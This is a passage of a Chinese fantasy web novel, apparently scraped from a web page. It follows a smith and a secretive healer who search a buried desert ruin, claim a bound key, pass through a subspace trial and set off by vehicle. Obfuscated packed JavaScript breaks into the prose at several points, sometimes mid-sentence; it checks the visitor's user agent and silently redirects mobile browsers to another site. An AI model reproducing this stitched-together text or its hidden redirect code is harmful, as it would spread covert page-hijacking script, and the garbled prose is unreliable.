l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237808|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢止沉在前面引路,而刀语心落在他身后一两步的距离。 虽然他证实了自己医师的身份,但也仅此而已,刀语心还不能完全信任他。 她不会因为职业就轻视任何一个人,她相信的只有自己的直觉。 而对于谢止沉,她能感受到对方身上的危险,但好在此刻他们拥有共同的目标,那就是从遗迹中离开。 虽然他后面给她的感觉平易近人且毫无攻击性,很符合她对医师的印象,不过这分毫不差的重合…… 就像是他刻意伪装的一般。 就从先前做出的举措来看,刀语心也认为他绝不会像表象那般简单。 先不说他是怎么看出来匕首带毒,正常人谁会空手接白刃?还是知道匕首有毒的情况下,他用自己的伤作为他们合作的前提。 一招太过出人意料的以退为进。 他们的相遇就是一场意外,在对彼此都没有更多了解的情况下,虽然达成了合作关系但也要保持适当的警惕。 两人走在迷宫般的遗迹中,刀语心的腕带还没坏,她将其打开绘制着地图。 而谢止沉走在前面,一路上和刀语心讲述着他来到这里的前因后果。 他通过钥匙的指引进入遗迹是大概两周前的事。 “我本以为只要我找到另一半的钥匙,就可以拿到我想要的东西然后离开,但后来才发现这钥匙是绑定道具,而且一个人只能绑定一半。” “既然这里唯一的出路就是用钥匙打开大门,如果你没有遇到我或者其他人,你要怎么办?”刀语心反问他。 “我会将这里毁掉。” 说完后,谢止沉就意识到这句话似乎有些不太妥当,他补充道:“我会启动遗迹的自毁机关,看能不能寻机离开。” 他原本想说的话应该没有后面这一句,不过刀语心看破不说破,并对此表示理解。 他们各自怀揣着秘密,此刻只是为了相同的目标同行,就像谢止沉不会问她为什么一个锻造师会受这么多的伤,她也不会问谢止沉一个医师是如何来到遗迹中的。 况且如果同样的事情发生在她的身上,她大概率也会选择相似的做法。 “在探索遗迹的期间,我还听到了两次爆炸声。” 他说着,目光投向走在身后的刀语心,而刀语心也承认两场爆炸都是她干的。 “那这大概也算得上一种命中注定。” 在第一次爆炸之前,谢止沉就已经做好了毁掉遗迹的打算,是突如其来的意外让他决定再等待几天。 好在他没等太久,相隔两天后爆炸声又出现了,比之前激烈数倍。 他前来查看情况,就遇到了刀语心。 而听着谢止沉来历的刀语心则是在想:这钥匙是别人给他的,还是他自己找到的?如果是前者,那这简直就像是一场为他量身定制的阴谋。 遗迹中有他想要的东西,而他手上只有一半的钥匙,另一半钥匙在遗迹之中,而发现藏在沙漠下的遗迹又只能通过钥匙。 若不是她意外进入了遗迹之中,这大概就是一个必死的局面。 遗迹在沙漠之下,一旦坍塌就有无止境的沙子涌入其中,就算真的可以寻机离开也是承担着巨大的风险。 或许在他进入时带一个同伴就可以解决,但阴谋的制定者大抵也知晓他会一个人进入。 看着谢止沉的背影,刀语心觉得他自己对此应该也有推断。 她边走着边观察着四周,明明是位于沙漠之下,但不知为何这遗迹中的砖块上有着大片苔藓存在的痕迹。 “这遗迹的上方曾经是一片绿洲?”刀语心能想到的可能性就只有这个。 而在听到刀语心的疑问后,谢止沉只是摇摇头。 “据我所知,这附近的绿洲都是随着一股四处游荡的碧落之泉不断移动的,而它向来不会在一个地方停留太久。” 既然绿洲的出现是短暂的,那这里究竟为何会出现生长在长期潮湿环境中的苔藓? 似是知道刀语心在想什么一般,谢止沉随即给出了他的答案: “你有没有想过,这里的一切可能不属于这个世界。” 11. 第 11 章 听到谢止沉的话后,刀语心陷入了沉思。 她先前确实一直将这个地方当作是旧世界的遗址,但她从未想过这其实不属于这个世界。 毕竟这样的事情太过匪夷所思,能想到才不正常。 落在后方的她看不到谢止沉的神情,暗沉的目光落在几步前的背影上。 对于自己的说法,谢止沉也给出了相应的理由: “不过这也只是我个人猜测,毕竟我在这座遗迹中发现的文字和图像在旧世界的资料中都没有记载,也没有任何一种能够与之对上,不排除是在浩劫后损失了记载。” 但刀语心的直觉告诉自己,他口中的恐怕就是真相。 暂且不论这究竟是他推测出的答案,还是他本就知晓谜底,刀语心觉得他话语中有些字眼莫名地熟悉。 “不属于这个世界……” 她口中低喃,在回忆中搜寻与之相似的记忆点,想起曾经有人在她面前声嘶力竭地吼叫着: “将这些不属于我们世界的东西全都赶出去!” 话语带着强烈愤怒与怨恨的情绪冲击着她的灵魂,她也同时回想起当时的感受:恐惧以及无助。 或许是先前使用了那股未知力量带来的后遗症,每当她想起那些抛在脑后的记忆,其中的情绪都会被无止境地放大。 对此刀语心只是蹙着眉头,然后将那些不该存在的情绪压下,她不是当初那个弱小的自己,也不会被过去的情绪击倒。 “我们到了。”走到路的尽头后,谢止沉停下步子转身。 他发现了刀语心的异样,思考一瞬后他开口询问着,打算扮演好一个合格的医师。 “怎么了?你的脸色看起来不太好,是伤势加重了吗?” “不,我没事,只是想起了一些从前的事。”见刀语心不想多说,谢止沉也识趣地不再追问。 在他们面前是一堵平平无奇在遗迹中随处可见的墙壁。 谢止沉将手放在某处按下,从按下的中心出现数根法术线条,它们勾连成一个复杂可延续的纹路蔓延至整片墙壁,随后让其变得透明直至消失。 一个密室呈现在二人面前。 没了遮挡后刀语心视线随之移向内部,但在看清其中的景象后,她开口询问着身旁之人: “这都是你干的?” 室内是一地被烧得焦黑的不知名异兽尸体,而谢止沉也后知后觉想到自己身为医师做出这一切的不合理性,当时他也没想到自己还会再次带人重返这里。 他停顿了几秒,然后给出一个听上去合理的答案。 “我简单利用了一下遗迹内的机关。” “好吧。”刀语心说着,默默在心中给谢止沉打上了危险分子的标签。 虽然同为辅助类职业,但谢止沉恐怕比她之前遇到的雇佣兵还要危险万分,不过暂时不用太过担心,至少现在他们有同一个目标。 谢止沉先一步走进其中,刀语心随后跟上。 这里虽然是一间密室,但空间并不算小,四周的墙壁上有壁画,不过刀语心看不懂那些抽象的艺术,只看懂了一棵大树,它位于最中心的墙壁上,高大的枝干贯穿了所有。 在刀语心查看壁画顺便拍摄记录的间隙,谢止沉直接上前开始触碰那些壁画,见到他的动作刀语心这才发现壁画上的一些部分是可动的。 他似乎是按照某种规律,将一切归到正确的位置上。 随后一个石台从地底出现,正中心就放着一把弯月般的钥匙。 想必这就是另一半需要她绑定的钥匙了,刀语心走上前将其拿起,但那钥匙转眼就消失在她的掌心中。 “你被它绑定了。”谢止沉见此在一旁为她解释着。 虽然结果相同,但过程不同,本该是由刀语心主动的行为变成了她被动接受。 “……这算是强买强卖?” 她意念一动,钥匙随之再次出现在自己的手掌中,她眼神疑惑地看着通体构造精妙的钥匙。 强行绑定带来的不受控感让刀语心有些不悦,但毕竟这关乎她对谢止沉的承诺,她会帮他离开这里,更何况这也是在帮她自己。 而谢止沉对此也产生了某些难以言说的情绪。 虽说他本就打算让刀语心绑定,但这过程这么轻松也让他有些不解,他当时为了绑定钥匙耗费了很多精力,绝没有刀语心这么简单。 “的确能这么说。”他回答了刀语心之前的话。 这钥匙就像是赶着上去白送给刀语心一般,即便落差有些大,但好在谢止沉也很擅长调节自己的情绪,他从始至终都没露出异样。 “既然拿到了,那我们现在就去大门的位置吧。”他面色不改地对刀语心说着。 “好。”刀语心也应了下来。 他们启程离开,但在离开途中经过一面墙壁时,刀语心察觉到了一种微妙的违和感。 “这里有些不对劲。” 她站在一幅壁画前停了下来。 她能确定之前这幅壁画不是这样的,终端中还有记录,她先前给每一幅壁画都拍摄了照片,经过对比后她发现上面某些物件的位置改变了。 不过按照先前的模样直接复原似乎行不通。 壁画上的一半是树的根系,之前像是太阳一般的光球落在了黑海之中。 虽然不知道这些壁画上究竟是什么,但刀语心凭着自身的感觉移动树的根系将落入海中的光球托起,再送到远离黑海的地方。 黯淡光球受到了一些小人的祈祷,开始重新散发光彩,然后树的根系又卷住了光球,将其移动到自身内部,光球出现在了另一幅壁画中,周围是与之相同的另一些光球。 在它严丝合缝落下的一瞬,壁画的下方出现了一个凹槽,刀语心从中取出了一块手掌大小的石板。 上面的图像是残缺的,并不完整。 一直在刀语心身边默默等待的谢止沉开口: “看来这只是一片碎片,我记得这遗迹中还有很多处这样的地方,恐怕要全部找一遍才能凑完整。” 同时他也在心中感叹刀语心的敏锐。 他经过相同的地方无数次,但从未注意到这些微小的变化。 听到这话后的刀语心在心中想道:藏得这么深,肯定是有好东西。 这就像是隐藏在暗处的宝藏在等她一步步找到,她有些期待,不过这样要耗费的时间就有些太多了。 她得尽快返回无名镇,她要回去做医疗装置给裴瑛,这是她的承诺。 “我们离开遗迹后还可以再进来吗?”她询问谢止沉。 “可以。” 只要这个遗迹没有被毁去,它就永远存在,更何况如今出入的钥匙都在他们的手中。 “那等之后再来找齐,我最多只能在这里停留五天。” 她是在三月七日从无名镇出发,而裴瑛告知她邪魔潮预期来临的日子是三月二十日左右,现在是三月十日。 她需要预留几天的时间去锻造,以及尽量避免预言不准确带来的后果。 “没问题。”谢止沉并无异议。 在前往大门的途中,刀语心查看终端上显示的地图。 她只是跟着谢止沉走了一小段路,但就从这部分绘制的地图来看,足以窥见遗迹的庞大,一路上都是谢止沉在为她引路,从未见到他看地图或者使用其他的手段。 刀语心也自诩方向感不错,但在这种基调完全一样且到处都是相同构造叠加的迷宫之中,她也只能借助定位和地图找到方向。 或许是他在遗迹中待了很久已经熟门熟路了,但刀语心总觉得事情不会这么简单。 他身上可疑的地方太多了,再多一些也无妨。 许久后,他们二人穿过一处漫长的走廊来到遗迹的最中央。 最先闯入视线的是一棵巨大的石树,它立于大殿之中。 这树枝繁叶茂,占据了大半的空间,但并无半点生机,因为它永远定格于此,无法再生长半分。 走入大厅,空间的四角分别矗立着形状各异的尖柱,上面雕刻着神秘的纹路,周围的墙壁上依然是那些看不太懂的壁画。 刀语心的视线顺着树的枝丫延伸,抬头看到天花板呈尖状,上面奇特纹路的视觉错误让人觉得它在不断向上延伸。 很难想象这样一个高大宏伟的建筑存在于地下。 一个想法莫名出现在刀语心的脑海中:或许在遗迹原本的世界中,它本该位于高天之上。 不同于刀语心初见好奇地四处打量,谢止沉只是不紧不慢地走在前面,给足刀语心查看四周的时间,又引着她前往此行的目的地。 位于大树背后,一扇雕刻着与尖柱纹路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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感受到身旁之人投递的视线,刀语心侧头说出心中的想法: “毕竟只是等待的话,困境是永远不会改变的。” 听到刀语心这么说,谢止沉也不再犹豫,他们同时向前,身影被旋涡扭曲吸入其中。 不过片刻后,有什么被旋涡重新吐出来了。 是谢止沉。 他进不去啊…… 只见孤零零地站在扭曲旋转的入口之外,刀语心进去后已经被封锁,无法重新进入。 刀语心不在他身边,这也代表着他不再需要伪装。 他很快就接受自己被亚空间排斥的事实,也意识到自己这段时间以来的所作所为都是无用功。 这件事从一开始就是错误的。 随着思绪加深,谢止沉先前身上温润如玉的医师表象散去,短暂地露出他最本质的模样。 没有什么能够撬动他的心绪,即便此刻意识到了自己的失败,谢止沉内心也没什么波澜,仿若一种经历过万事万物后的漠然。 这几月以来经历的事情在他脑海中复现,他追溯着一切的源头,一个侃侃而谈的人影浮出。 是那个给自己钥匙的情报贩子,他需要付出欺骗自己的代价。 但现在还不用急着离开。 那双暗红双眸看着缩成一团的黑色旋涡想道:刀语心还在里面。 这算是还有希望。 不过什么时候他也会将希望寄托在别人身上了?谢止沉在心底想到。 但不能否认的是,此刻刀语心的确是最后的可能性。 入口已经关闭,继续待在这里也没有任何意义,他先去找残片好了,谢止沉也想知道这遗迹里还藏着多少他不知道的秘密。 不过在离开之前,他得保证刀语心的安全。 只见谢止沉抬手,骨节分明的指尖凝结出一条赤红的线,飘浮在空中将门环绕起来。 在使用力量的同时,谢止沉眼眸中的灰暗短暂消失了一瞬,没有被镀上暗色的双眼如红宝石一般澄澈。 只不过那光芒转瞬即逝,他的双眼再度变得阴翳,变回了接近深黑的浓稠暗红。 在确保没有其他问题后,谢止沉的视线最后停留在门扉片刻,随后收起目光转身离开。 而此刻身在亚空间的刀语心,则是看着眼前无边无际没有尽头的路陷入沉思。 这是要她做什么? 12. 第 12 章 既然是路的话,那往前走到尽头就好了。 不过为什么她已经走了许久,始终都没有感觉到自己在向前? 刀语心止住了步伐,打开地图投影,上面的定位器显示未知错误,大概是因为空间不同信号紊乱,不过一旁显示的时间却还在不断流逝。 或许她是在前进的?只是没有任何的参照物,所以她不知道自己究竟是在前进,还是在原地不动。 看着道路的不断延伸进入更远处的空间里,她反问自己:就算真的在前进,可她真的能走到尽头吗? 在又向前走了很长一段时间后,刀语心停下了。 她无法再走下去了,这条道路真的有尽头吗?无论她走了多久,似乎这条路从始至终都没有改变过,她现在的处境也依然保持原状。 但终端上显示的时间在一点一滴地不断消逝着,在没有抵达尽头之前,她就会先被自己无止境地怀疑逼疯。 漫无边际的空间中传来一声轻叹。 只见刀语心将投影关闭,不再去查看时间。 她开始思考:既然向前不行,那么向后呢? 刀语心转身,看到了另一条道路,一条与之前完全相反的黑色道路。 如果她的记忆没有出错的话,她记得刚进来的时候空间中只有一条路,并没有这条通向无尽漆黑的道路。 像是觉察到她的思绪后,才浮现出来一般。 她试着向黑暗迈出一步,但也依然没有踏入其中。 刀语心皱眉低头,垂眼看着脚下的道路。 有了黑白两色对比,她这才发现自己位于一条横向无限延长的灰色区域中,在黑与白的间隙中做着永恒的无用功。 她站在灰色交界线之中,既无法靠近光明,也无法投身黑暗。 看来只有将自身彻底偏向某个极端,她才能寻得破局之法。 她不知道自己如何才能迈入光明,但她对如何进入黑暗有一些想法。 黑暗啊…… 她想起一直存在于她身体中的那股漆黑无名的力量。 察觉到刀语心的想法,一直被压抑的黑色能量在她心中尖啸,它迫不及待地想要彻底浸染刀语心的意识。 与过于兴奋的黑色能量相比,此刻的刀语心的心绪依然如死水一般平淡。 她在权衡利弊。 谢止沉不知为何不在这里,她对亚空间也毫无头绪,在不知道如何才能出去的前提下,使用这股力量是她此刻唯一能做的选择。 既然做出了选择,那她就会承担选择带来的代价。 这股力量除了放大情绪以外,并没有发现它还有其他影响,只是她讨厌那些无用的情绪,连带讨厌这力量本身。 或许所有的一切本就该为她所用,她会接受它内化它然后利用它。 将一切考虑周全后,刀语心深呼吸后闭上了双眼,然后将压抑在体内的能量全部释放出来。 光明无路,那便只能投身黑暗,没有什么能阻挡她前行。 黑色的能量从指尖溢出,将刀语心整个人包裹起来,随后她如愿踏入了黑暗之中。 不过随之而来的是无数情绪的席卷,她从前习惯性抽离自己的情绪,而那些过往被压抑的被忽视的一切,全被这股力量带着再度冲刷刀语心的意识。 此刻再将其压抑只会导致后续更加猛烈的反噬,所以刀语心只能感受着那些驳杂的一切,然后在心中不断告诉自己: 去抵达路的尽头。 漆黑能量影响的并不只是情绪,在毫无察觉的时分,刀语心的记忆被蒙上了黑纱,思绪也随之停滞。 她独自一人在漆黑世界中行走,忍受着各式各样情绪的冲击。 在那些情绪退却之后,她进入了一种像从前一般的麻木状态,但并不是如以往那般强制性的情绪抽离,而是她此刻心中的确空无一物。 她好像忘记了什么东西……她现在是要做什么? 前行…… 对,就是前行。 于是她遵从自己心中唯一的想法,一直向前走。 视线好像被什么东西模糊了,她抬手拭去,发现手背上的是透明的泪水。 她为什么在哭?她不知道,她不记得了。 她只需要前行,不断地前行。 无边灰暗的世界中,刀语心麻木地走着。 不知道多久后,她的视野范围中出现了一把剑,它插在一处石台之中,剑身周围有许多黑气萦绕。 刀语心无力也无法去思考别的什么,她只是走上前去,遵从自己的本能,想要将其拔出。 她需要一把武器来保护自己。 将手握在剑柄之上,刀语心想要将其拿出,但它丝毫不动,围绕在剑身周围的黑气涌入刀语心的身体之中,但她毫无察觉。 她只有一个念头,得到这把剑,所以即便是将其折断,她也拿着断剑离开。 在她下定决心的那一瞬,剑身与石台分离。 刀语心拔出了剑。 随即眼前的世界换了个色调,她不再处于之前那个黑暗世界之中。 这是什么地方? 没有人能回应刀语心的疑惑。 只见空间的四处出现了一道道诡谲的竖状裂口,随后它张开裂开,形成了深邃的漩涡。 而从其中掉出了许多异兽,刀语心看着它们朝她奔来。 它们想要杀掉她。 但不可以。 她得活下去,她得继续前行。 杀死它们。 杀死它们! 她本能地提着剑朝它们挥砍。 随着每一次的杀戮,那些黑色的力量都在向外四散,属于刀语心的,不属于刀语心的,都随着剑身没入异兽的躯壳之中,将其中的生命力吸食殆尽。 在将所有可见的生物杀死后,刀语心看着手中染血的剑,脑海中有些困惑。 她现在要做什么?她还需要杀死谁? 这些问题她都想不明白,她只能提着剑继续向前走,每一步都留下了血印,不过那些血大部分都是异兽的刀语心身上有大大小小的伤痕,但都不致命。 跨过一地异兽的残骸,刀语心不断向前。 她握着剑,剑身周围萦绕着最后的黑色能量,她将其斩向最后的裂口。 耗尽了所有的能量后,那一直蒙蔽刀语心记忆与思绪的黑纱消退,刀语心的意识重新清醒过来,之前的一切像是做了一场噩梦。 而在醒过来的一瞬,刀语心感到许久未曾感受过的喜悦。 她很开心。 常年毫无表情的脸上不知在何时已经无意识地扬起嘴角。 在这片亚空间中,刀语心不会受到规则的束缚,毫无阻碍的战斗带来了无尽的快意。 她多久没有感受过发自内心的喜悦了? 不过也只是瞬息。 清醒过后,对现实的无力感又再次让她变得麻木,情绪很快就被冲淡了,很多时候就算不刻意压制,刀语心也很难感受到情绪的存在了。 就算这是短暂的,虚假的满足,也让她在其中沉浸片刻吧。 要做的事情还有很多,在拥有足够的力量去践行自己真正想要走的道路之前,她不能停留太久。 就在这时,一道声音凭空响起: “感谢你帮我杀死了那些虫豸,左边是赠与你的礼物,右边则是拥有密钥的你本该得到的东西。” 又一个旋涡从刀语心面前出现,将两样东西送到她的面前。 分别是一个悬在空中的银白色八面棱体和一块通体漆黑的宝石。 刚才的声音从四面八方传来,刀语心巡视四周,发现这片空间依然只有自己一人。 “你是谁?” 她没有将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15254449|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道具收起,而是出声询问。 “这片亚空间的意识体。” “你从哪里来?” 它说出了一串刀语心完全听不懂的怪异语调,刀语心试图重复,但连近似的音节都无法发出。 她选择不再深究,而是继续询问着其他问题。 “所以遗迹的门通向这里,就是为了让我拿剑帮你杀掉那些异兽?” “不全是,我只是宝物的保管者,亚空间中有自己的规则,进入其中者需要解决亚空间中的问题,而异兽就是此刻的问题所在。” “你有见到另一个人吗?他应该和我一起进来了。” “……没有。” 有些突兀的停顿,刀语心察觉到它似乎有些不想谈论这个问题。 它在回避?它在恐惧?对象是谁?谢止沉? 有点意思。 为了佐证自己的发现,刀语心继续开口试探: “我那个同伴应该也需要这空间中的某件东西,你可以让我带走吗?他也是密钥的拥有者之一,如果不行的话……” “下次大概率就不会只是我一个人进来了。” 它应该不能每一次都将谢止沉拦在门外,否则它为什么会惶恐? 而不出刀语心所料,对方沉默片刻后同意了。 “没问题。” 对意识体而言,只要外面那位不进来,什么都好说。 而刀语心看着眼前的旋涡中又出现了一个黑色八面棱体,想必谢止沉的目的应该就是这个东西,应该不需要再多浪费时间。 “我要如何离开?”刀语心将三样东西收起后问它最后一个问题。 “从面前的旋涡即可离开亚空间,而离开遗迹的传送阵之后就会出现。” 听完它的话后,刀语心进入旋涡,再次回到了遗迹之中。 刚回到遗迹的她就发现有一条赤红的线围绕着自己。 这是什么? 刀语心想伸手触碰,但手离近了,那红线就又自动远离了她。 她捉摸不透,只得先打开腕带上的终端查看时间,但上面显示的却是关闭前的时间。 没得到想要信息的她皱眉,却听见一阵脚步声,刀语心抬眼看去,是谢止沉。 “你回来了。” 他抬手将一直浮空围绕在刀语心身旁的红线收起。 “现实时间过去了多久?”刀语心问着她最关心的问题。 “过去了四天,现在是三月十四日的晚上。” 听到确定的时间后刀语心放下了悬着的心,和她预期的时间差不多,甚至更快。 而谢止沉看刀语心虽然受了很多的伤但她心情似乎还不错,也不知道她在里面经历了什么。 “这是你要的东西吗?”刀语心将那个黑色八面棱体递给了谢止沉。 “是的,谢谢你。”将其接过后,谢止沉也松了口气。 她果然不会让人失望。 “不过你为什么没进去?”她询问道。 这个问题好像有些难回答,谢止沉思索片刻后才给出答案:“大概是因为它觉得我会吃了它?” “?” “好吧。”刀语心觉得自己不能知道太多以免被灭口,只要她不问关于他的事就好,或许她可以问问关于自己的事。 “你知道这股力量是什么吗?” 她将那股黑色能量外溢显现在指尖,安安静静地缩成一团,似乎完全被刀语心掌控。 它在先前的战斗中消耗殆尽,但并没有完全消失,或许之后它会有再度不受控的一天,但那不是现在。 刀语心帮谢止沉拿到了东西,帮了他很大的忙,而作为回报,谢止沉也知无不言。 “某种程度上来说,这是属于邪魔的力量,但如果追根溯源,在其他世界它还有另一种称呼。” “本源之力。” 13. 第 13 章 “本源之力和邪魔有什么关系?对邪魔潮有影响吗?” 刀语心问出了一连串的疑惑,而谢止沉也耐心为她一一解释着。 本源之力是一种极为特殊的能力,只能被特定的生灵承受,如果强行吸收就会将吸收者转变为邪魔。 邪魔的力量相当于本源之力的弱化版,但胜在是可变化的。 本源之力是固定永不改变的,但邪魔的力量则是需要汲取其他的东西转换来供自己驱使,一些是人的负面情绪,一些则是生命力。 邪魔潮的成因就是邪魔需要更多的力量,四散的邪魔们会聚集在一起夺走更多的生命力,异兽和人类的聚集地往往会成为它们的目标。 谢止沉点到为止地回答了刀语心的所有问题。 “把手给我。”他再次开口。 满脑子都是邪魔和本源之力的刀语心闻言下意识就将手递了过去。 直到再次看见代表治愈的莹白线条没入自己的身体之中时,她才察觉到谢止沉这是在为她治疗伤势。 原本想要说出的话顿了一下,改为了道谢,随后刀语心就向他询问着自己最后的疑问: “但我既没有变成邪魔,拥有的力量也不像本源之力那样永恒不变,那这股力量究竟是什么?本源之力产生的又一种异变?” “没错,就像同一个水源,向外流出的方向会有所不同。” 水源的主干就是本源之力,邪魔的力量就是另一条支流,刀语心的力量也是如此。 这次刀语心的伤势并没有之前那样严重,只是片刻便痊愈,谢止沉松开了手,给出了除回答问题之外的建议。 “但这并非全是坏处,只要你能彻底掌控它,或许它会比本源之力和邪魔之力还要更强。” 本源之力固定不变,邪魔会失去自己主体意识被集体同化,但刀语心拥有的异化之力并没有二者的缺点,所以拥有更多的进步空间,只不过风险也未知。 “我明白了。” 在将终端调整到正确的时间后,刀语心察觉到现在已经是一天中的深夜。 “我们等天亮了就离开?” “好。” “那现在先去找出口吧。”亚空间意识说了会有传送阵送他们离开,但大厅中没有,或许是在其他的房间。 这次谢止沉却没立即同意了,他停顿片刻后开口: “你在亚空间里的这几天都没怎么好好休息过,我去找出口,你先在这里休息一会吧。” 他最后补充一句:“如果你信得过我的话。” 出于私心,谢止沉从没和刀语心说过遗迹的密钥是灵魂绑定关系,宿主死去则密钥也会碎裂,隐瞒也是因为他不希望对方用这件事情来威胁自己。 没怎么和人接触过的他,从不打算与人合作,所以他并不了解如何才能达成一段良好的合作关系,如今发生的这一切都是意外使然,或许也可以将其称作命运。 自刀语心带回了他所需要的东西后,谢止沉已经将刀语心视为真正的同伴。 再就事实来说,他并不讨厌刀语心,甚至有些欣赏,作为一个合作对象,她显然是极度优秀的。 只是他在心中明确自己不会危害刀语心,但对方说不定不会这样认为,谢止沉深知人类这种生物是极其复杂的。 更何况在对方眼中他身上应该是疑点重重。 事实上确实如此。 刀语心知道谢止沉身上有许多秘密,不过只要自身利益没有受损,她并不会过多地敌视他人,更何况他们现在还有共同目标,她还等着之后和谢止沉再来遗迹,凑齐所有的残片找到宝藏。 没有人会对宝藏有抵抗力。 “那就有劳你了。”既然是对方的好意她也不打算拒绝。 说完后疲惫感也席卷刀语心的身躯。 上一次睡觉是什么时候来着?她有些记不清了,在亚空间她几天几夜都没休息过,她太累了。 见刀语心靠在大树下睡去后,谢止沉再次唤出赤红丝线围绕在刀语心身旁。 他转身离开,顺便在心中做好了今夜的打算。 找到传送阵后再接着找残片好了。 短暂地休息几个小时后,他们准备启程离开。 睡眠严重不足的刀语心睡了一觉后只觉得更困了,看着她不太妙的脸色,谢止沉提议让她再休息一会,不过刀语心拒绝了,她想早点回到无名镇。 在路上,刀语心询问谢止沉接下来要去什么地方,她想与对方约定好下一次进入遗迹的时间。 “说起来,我有一件东西想委托你锻造,我可以和你一起离开吗?” “没问题。”刀语心答应下来。 一起行动不仅会更方便,顺便还可以让他看看裴瑛的伤势。 传送阵就在离大厅的不远处,先前他们也来过,只不过那时没进入亚空间所以此地空无一物。 巨大而复杂的法阵在地面上浮现,二人站在其中,被传送阵的光芒笼罩吞没。 再次抵达沙漠表面时,刚好是日出时分,无数光线照耀在亿万沙粒上,反射出耀眼光芒。 刀语心有些不适应光线转身避开,却发现西边的天空有些灰暗。 那是邪魔域的方向,不知道是心理原因还是别的什么,她总感觉那片空间下泛滥的黑色比之前更浓郁了一些。 邪魔潮…… 想到这里,危机感袭上心头,没空也没心情欣赏风景的刀语心低头打开地图查看自己的定位,发现现在的位置离她进入遗迹的地方并不远。 在那场爆炸中,老二的载具应该没被炸毁。 沿途找到载具后,刀语心确认其安然无恙,只是打开门的那一瞬,载具内部涌出的血腥味熏得刀语心猛地后退几步。 她有些反胃,在心中犹豫要不要走回去。 “怎么了?” 朝刀语心的方向走来后,谢止沉也看到了载具内的景象,不过他很快在手中释放一个法术扔了过去,法术经过的地方血迹和气味消失不见。 对此刀语心两眼放光并由衷夸赞道:“好方便的法术。” 虽然一直都知道有法术的存在,但刀语心自小没怎么接触过,最多也就是用自己的法力凝结一点法术线条,这也只是最简单基础的。 浩劫过后,对于新世界的一切人类都还处于探索的阶段,很多的东西对人类来说都是全新的。 之前她还听商人说过,有关法术之类的书籍,都会被炒到天价,而无名镇这样的贫瘠小镇更是听都没听说过。 而人类已知法术大多数都是来自职业技能,刀语心相信总会有人能够创造新的法术,只是还未出现,或者她尚未听闻。 看出刀语心的好奇,谢止沉浅笑着开口: “等你有空我可以教你。” “好啊好啊。” 周围环境得到较大改善后,刀语心专心在操作台上更改操作系统。 找不到老二的尸体就没有钥匙,启动载具有一些麻烦,但这点问题很快就被刀语心解决。 在将最后的一段能源线路修改,又绕过验证系统后,载具被刀语心成功启动了。 “好了,我们走吧。” 载具在沙漠疾驰,窗外呼啸的风吹着驾驶位的刀语心。 现在是清晨,沙漠环境温度还没升高还算,但微凉的风并没有让刀语心没睡醒的疲惫感消失。 很快她的烦躁就被迫加剧了,因为有个脑子不清楚的家伙突然拦在了他们的载具前。 那人朝载具扑过来的时候刀语心被迫急刹。 以为自己又要遭受重创的刀语心在心底暗骂,不过意料之中的疼痛没有出现,因为有人护住了她。 撞在人身上的痛感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266846|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比撞在载具上少得多。 “没事吧?”将刀语心扶稳后,谢止沉询问她的状况。 “还好。”刀语心觉得有事的人应该是他才对。 在两人交谈间,先前不要命拦在载具前的人怒气冲冲朝着驾驶位一侧走来。 “喂,不是说好七天之后离开吗?你这是要违背你自己的承诺?” 虽然知道雇佣兵不是什么好人,但这提前走了,也太不是人了吧?看上去像冒险家的人愤愤不平地在心中想到。 “等等,你先别说了,这人不是先前的雇佣兵。” 在冒险家身后的人在看清了驾驶位上的人是刀语心后,拦住了想要继续理论的冒险家。 “他们已经死了,我不负责履行他们的承诺,要么现在闭嘴上载具,要么滚开别挡我的路。” 刀语心并不想浪费时间和言语在无关紧要之人身上。 先不谈这冒险家为什么觉得雇佣兵会信守承诺,于情于理刀语心都不需要回应他,让他上载具已经是刀语心最大的容忍限度。 若不是在卫队耳濡目染下,帮扶弱小的理念存在于刀语心脑海中,单弱肉强食的法则而言刀语心完全可以直接杀了他。 她知道自己不是什么圣人,她也从不考虑自己不在意之人的安危,在裴瑛的影响下,刀语心的底线是不滥杀无辜,她杀的从来都是想杀害她或者迫害她的人,仅此而已。 “你这人怎么……” “好好好,我们上去。”身后那人一把捂住了冒险家的嘴。 “能平安回去就不错了,他已经因你而死了,你至少要带着他的遗物回去不是吗?” 听到这话后一直咄咄逼人的冒险家终于闭上了嘴。 在即将启程时,远处又一道声音传来。 “等等——还有我——” 看着从沙漠中朝他们奔来的人,刀语心记得他,是那个最开始向雇佣兵交钱的年轻男子,好像是公会的人。 而在看到驾驶位上的人是刀语心,宋齐眼睛一亮。 他直接瞬移到了刀语心的面前,站在载具外握住了刀语心的手,顺带将一张金卷塞进了她的手里。 “你就是在无名镇的锻造师刀语心对吧,这大概是十五万铜币,当交个朋友。”说着把刀语心拿着金卷的手推了回去,强行让她收下。 